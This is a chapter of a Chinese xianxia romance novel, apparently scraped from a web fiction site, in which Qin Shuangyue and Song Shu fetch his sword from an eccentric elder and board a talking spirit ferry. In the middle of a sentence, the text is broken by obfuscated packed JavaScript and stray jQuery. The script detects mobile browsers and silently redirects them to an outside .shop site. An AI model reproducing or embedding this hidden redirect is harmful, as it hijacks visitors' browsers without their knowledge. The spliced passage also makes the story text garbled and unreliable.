“这个不行。”秦双月几乎是下意识就拒绝了,当夫君,那怎么行。
她的拒绝当然在宋殊的意料之中,他勉强牵起唇角,对她惨然一笑。那模样活脱脱一副被骗了身子又不给负责的娇弱小美人……
等等,打住。秦双月皱起眉,严肃质问自己:我哪骗他身子了?
“没关系的。”他垂下眼,勾起一抹强撑的笑,语气间多有体谅之意,“我知晓双月并不喜欢我,让我跟着只是一时兴起,我明白的。”
什么鬼?怎么越说越奇怪了?她让他跟着来明明是因为……
因为什么来着?
看着眼前男人泛红的眼角,秦双月只能想起来那晚上他像只小狗一样叼着她的衣襟……
等等,这是做什么?!
反应过来自己在想些什么后,秦双月如遭雷劈。
宋殊给她下了什么迷魂药吗?秦双月的视线落在那两光光的盘子上。咽了口口水。
算了,迷魂汤也喝,毕竟这么美味。
“双月,在想什么?”思绪被唤回,秦双月猛然回头,却发现宋殊不知何时早已靠了过来,鼻尖相触的距离……
慌乱之间,只注意到他那双美丽、隐有华光流转的墨眸。
真是,好漂亮的眼睛。
形状好看,颜色好看,流露出来的情意也好看。
宋殊百般克制,见她未有抵触的反应,这才慢慢合上眼,往那娇软的唇上落去。
一道不可忽视的铃声打破了这荒唐的暧昧情景,秦双月心虚地一抖,一把推开宋殊,取下腰间的令牌。
“喂?双月。”
听见花芥的声音,宋殊几乎是想要杀人。
偏挑这个时候。
花芥的下一句话,就让秦双月砰砰直跳的心脏冷静了下来,“妖界出事了。”
“这三天我一直没联系上落生。并且昨晚,秦府遇袭了。”
秦双月眼前一黑,差点一跟头栽在地上,拨开宋殊搀扶的手,她一字一句咬着牙问:“人呢,出事了吗?”
“秦家人都还好,我留了人守着,没有人出事。倒是妖界那边,我的人说,落生已经快一个月不曾回过妖界了。我担心他出了什么事……”
秦双月强迫自己冷静下来,“对秦家动手的你可知是妖界还是魔族?”
花芥回忆一番,确定地道:“是魔族,我察觉到了魔气。”
深吸一口气,秦双月点点脑袋,“我知道了,花芥,你搬到秦府去。就说是我说的,务必将他们守好。落生的事……我会解决的。”
花芥笑笑,安慰她:“你别担心,秦府这边我给你看好了。”
“你那个哥也不省心,还是你花芥哥哥好吧?”
“花芥!”宋殊骤然出声,吓得这头捋头发的花芥薅了一把下来。
“宋殊?你个狗剑修还没走!别赖着我家双月,回你的修界去!”
宋殊慢悠悠的嗓音从传音令中飘过来,让花芥捏紧了拳头,“老实呆着吧。双月没空理你了。”
他好欠揍啊!!
秦双月有些厌烦他二人拌嘴,揉揉眉心,叮嘱了花芥两句便切断了通讯。
再看宋殊时,眼里一片清明,哪还看得见半点情爱的影子。
宋殊心里一空。紧接着秦双月便理智冷淡地开口。
“宋殊,最快时间拿到你的剑,我要尽快赶去北溟。”
宋殊垂下眼,低声说好。
*
三清峰上,灵力波动。
坐在崖口拿着个鱼竿的老头闭着眼,白胡子随风飘了很远,一副世外高人的形象。
秦双月远远看见的便是这么个老头。宋殊走在身旁,浅声解释。
“他叫原因白,你之前也认识。”
秦双月没有记忆,皱眉走上前去,直截了当地说。
“原因白是吧,我们来取宋殊的剑。”
原因白嘴角一牵,将那钓竿随手扔开,跳起来,左右打量着秦双月。
秦双月的视线落在那直钩上,心想,姜太公都来了。
哦,这个比姜太公还颠。
至少姜太公知道在水边钓鱼,这位演都不演了,直接在山上钓。
“我说小双月啊,见到老子居然不叫老子‘原前辈’了,老子伤心了,你说怎么办吧。”
一个傻子还自称上前辈了?
秦双月威胁地眯了眯眸子,“我赶时间。”
嚯!原因白吹了吹遮住嘴皮子的胡子,又撩开这八百年长长了遮住眼睛的眉毛,仔仔细细看这个小少女。
少女戾气深重,但眼眸明澈。
束魂灯点燃,那么她就还是原来那个她,即便是转世重生也不会改了灵魂中最本质的特性。
眼前这个嚣张跋扈的小姑娘与千年前的温温柔柔笑眯眯的秦双月居然是一个人。
小姑娘装挺好啊。
原因白摸着胡子哈哈大笑。调侃的目光落在宋殊身上。
也就那时候喜欢宋殊这小子喜欢的不得了,才伪装成一副温婉的模样吧。但好巧不巧,他原因白偏偏就更喜欢现在这个秦双月!
“行,那老子给你让路。坐船吧,小心些别摔着。”
船?秦双月这才看到,拴在崖边的一艘悬空的黑船。
原因白老头的颠神形象在秦双月心中更上一层楼。
秦双月心中有事,也不管三七二十一,先踏上了那船。甫一坐下,突然觉得周身清凉下来就连心中那些缠绕不宁的心事也安生下来。
宋殊远远看着她,眸中星光闪烁。
原因白走到近前,拨开眉毛,看着他这副神情,笑得合不拢嘴。
“宋殊臭小子,老子八百年前是不是说过,你不失去过就不长记性?现在好了没,还和小双月闹脾气不?”
宋殊唇角的笑清清浅浅,原因白看得怔然。
“是我年少不懂事,让我的心上人受了很多她本不应该接触的苦难。从今以后,我不会再让她掉一滴眼泪,受半点伤。”
原因白半晌才笑出声,感慨道:“你终于有当年主人的风范了。”
“主人早就说过,证月的剑主不止需要两心相通。更需要包容理解。”
“你们两总是不愿意坐下来好好谈谈。若是早些年谈开了,说不定老子我都可以抱娃娃了。”
宋殊眼睫一闪,没接话,快步走回秦双月身边上了船。
原因白从鼻腔里哼了一声,对老船摆摆手。
“老伙计,我赌对了吧?去吧,送他们……回去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900287|209018||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
老船远出视线,原因白重新坐在山口,捡起手边的钓竿重新垂在空中,一手撑着脑袋自言自语。
“人呐,真是会变的。”
犹记得八百年前,宋殊一身血衣找过来时那般狼狈又那般静默,像是他只是留在这世间的一抹游魂,不久便要下黄泉。
“我来,归还证月。”男人眼眶猩红,满面憔悴。
原因白多少听了点风声,见着证月的模样才真正信了。
那是老船头一回自己苏醒,质问宋殊:“你对她干了什么?”
男人的身子一下栽在地上。那么高贵如云的人,露出这幅姿态。
“看来,是我看错了。你们真真是孽缘。”
老船幽幽叹息着。
“你小子,不会是想自杀了吧?”原因白蹙眉,看着面前失了灵魂,行将就木的男人。
宋殊惨淡地笑了笑,“这世间再无她,我又有什么活头?”
原因白:“你怎么就知道世间再无她?”
“你给我的束魂阵连她一丝妖息都没留下!你跟我说这些!”男人突如其来的狂怒,让原因白眯了眯眸子。
“怪上老子了。”
宋殊出了口气,总算冷静了下来。移开视线,“抱歉,原前辈。”
“束魂阵只是束缚你们俩的羁绊,我这还有一样东西,能验证小双月的灵魂是否还存在于世。”
“是我主人留下的,他曾用它寻找过女主人。”
“若是点亮了,那么小双月便有转世投胎的可能。若是没亮……”
宋殊猛然闭上眼,咬牙割开手腕,鲜血飞溅而出。
在两人的注视下,束魂灯颤巍巍地,燃起了一点火星子般微弱的光。
那光燎进宋殊的眼里,点燃了他死寂的灵魂。
他提着小灯,从仙界一路走一路找。
终于在人声鼎沸的大盛停下脚步,相隔了八百余年的岁月,等来了他的重逢。
“宋殊,你有没有觉得,坐上了这船,就变得格外宁静?”
宋殊垂下眼,握住秦双月的手,道:“此船名叫‘渡’,原是黄泉边上的渡船,船身由扶桑神树打造。有驱邪安魂的功效。”
“双月。”
秦双月瞪大眼,朝四周望了望,并没有其他人。“谁?”
宋殊安抚似的捏了捏她的手指。
“是渡。”
渡?她低眸看向手中抓着的船沿。
这只船在和她说话?
“又见面了。”
“每次来,你的身体都很差。”
秦双月眨了眨眼,搞不清楚情况也没贸然开口。
“他找到你了。看来,情剑确实没有看走眼的姻缘。”
什么姻缘?
“要照顾好自己,这一回,你会成功的。”
如钟声敲响在脑海,秦双月瞪大了眼睛。
这句话,分明在梦里父亲也说过!
船身速度减慢,稳稳停在了一个洞口旁。
宋殊站起身,率先跳过去,再向秦双月伸出手。
“来。”
秦双月搭上他的手,与他一起进去了。
老船悠哉悠哉地荡着。
又是一个八百年啊。